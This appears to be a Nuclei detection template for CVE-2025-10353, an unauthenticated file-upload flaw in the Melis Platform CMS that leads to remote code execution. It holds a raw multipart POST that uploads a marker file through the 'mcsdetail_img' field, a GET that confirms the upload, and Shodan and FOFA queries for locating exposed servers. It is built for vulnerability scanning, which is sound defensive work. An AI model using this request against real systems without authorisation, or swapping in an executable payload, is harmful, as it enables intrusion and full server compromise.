CVE-2025-10353: Melis Technology Melis Platform - Unrestricted File Upload & Remote Code Execution

id: CVE-2025-10353

info:
  name: Melis Technology Melis Platform - Unrestricted File Upload & Remote Code Execution
  author: ohmygod20260203
  severity: critical
  description: |
    Melis Technology Melis Platform contains an unrestricted file upload caused by insufficient validation of 'mcsdetail_img' parameter in /melis/MelisCmsSlider/MelisCmsSliderDetails/saveDetailsForm, letting attackers upload malicious files and achieve remote code execution, exploit requires crafted POST request.
  impact: |
    Attackers can upload malicious files leading to remote code execution and full system compromise.
  remediation: |
    Update to the latest version with the vulnerability fixed.
  reference:
    - https://github.com/ivansmc00/CVE-2025-10353-POC
    - https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-melis-platform
    - https://nvd.nist.gov/vuln/detail/CVE-2025-10353
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-10353
    epss-score: 0.0266
    epss-percentile: 0.84932
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"/melis/MelisCms"
    fofa-query: body="/melis/MelisCms" || body="MelisDemoCms"
    product: melis-platform
    vendor: melis-technology
  tags: cve,cve2025,melis,cms,file-upload,rce,intrusive,vkev

variables:
  rand: "{{to_lower(rand_text_alpha(5))}}"
  filename: "{{rand}}.txt"
  payload: "CVE-2025-10353-{{rand}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /melis/MelisCmsSlider/MelisCmsSliderDetails/saveDetailsForm HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----{{rand}}

        ------{{rand}}
        Content-Disposition: form-data; name="mcsdetail_mcslider_id"

        0
        ------{{rand}}
        Content-Disposition: form-data; name="mcsdetail_img"; filename="{{filename}}"
        Content-Type: text/plain

        {{payload}}
        ------{{rand}}--

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains(body, "success") || contains(body, "uploaded")'
        condition: and

  - raw:
      - |
        GET /media/sliders/0/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, payload)'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - 'host + "/media/sliders/0/" + filename'
# digest: 4a0a00473045022100cf8e25986faf1e38350517d8c75a9aa1be562b91e9e882f968354bdd3be6c02e0220687b63a457cb6331c07d1da38a816c39e672afdb982fe6d029d497f278f688ce:922c64590222798bb761d5b6d8e72950

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